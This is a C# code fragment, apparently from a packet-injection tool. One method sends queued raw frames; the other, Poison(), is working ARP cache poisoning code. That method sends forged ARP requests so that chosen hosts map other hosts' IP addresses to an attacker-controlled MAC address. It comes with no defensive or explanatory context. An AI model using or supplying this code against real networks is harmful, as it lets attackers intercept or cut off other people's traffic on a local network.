private void MainWorkingLoop() { byte[] bFrameBytes = null; int iCount = 0; try { while (bRun) { lock (qFrameQueue) { iCount = qFrameQueue.Count; } while (iCount > 0) { try { lock (qFrameQueue) { bFrameBytes = qFrameQueue.Dequeue(); } if (bFrameBytes != null) { lock (oInterfaceStartStopLock) { wpcDevice.SendPacket(bFrameBytes); } } } catch (Exception ex) { TrafficDescriptionFrame tdf = new TrafficDescriptionFrame(this, DateTime.Now); tdf.EncapsulatedFrame = new RawDataFrame(bFrameBytes); PushDroppedFrame(tdf); InvokeExceptionThrown(ex); } lock (qFrameQueue) { iCount = qFrameQueue.Count; } } areWorkToDo.WaitOne(); } } finally { lock (qFrameQueue) { qFrameQueue.Clear(); } } }
private void Poison() { EthernetFrame ethFrame; ARPFrame arpFrame; lock (ipaToIsolate) { foreach (ARPHostEntry heToIsolate in ipaToIsolate) { lock (ipaToSpoof) { foreach (ARPHostEntry heToSpoof in ipaToSpoof) { if (heToIsolate != heToSpoof) { ethFrame = new EthernetFrame(); ethFrame.CanocialFormatIndicator = false; ethFrame.Destination = heToIsolate.MAC; ethFrame.Source = macAddressRedirectTo; ethFrame.VlanTagExists = false; ethFrame.EtherType = EtherType.ARP; arpFrame = new ARPFrame(); arpFrame.DestinationIP = heToIsolate.IP; arpFrame.DestinationMAC = MACAddress.Parse("00:00:00:00:00:00"); arpFrame.SourceIP = heToSpoof.IP; arpFrame.SourceMAC = macAddressRedirectTo; arpFrame.ProtocolAddressType = EtherType.IPv4; arpFrame.HardwareAddressType = HardwareAddressType.Ethernet; arpFrame.Operation = ARPOperation.Request; ethFrame.EncapsulatedFrame = arpFrame; wpc.SendPacket(ethFrame.FrameBytes); } } } } } }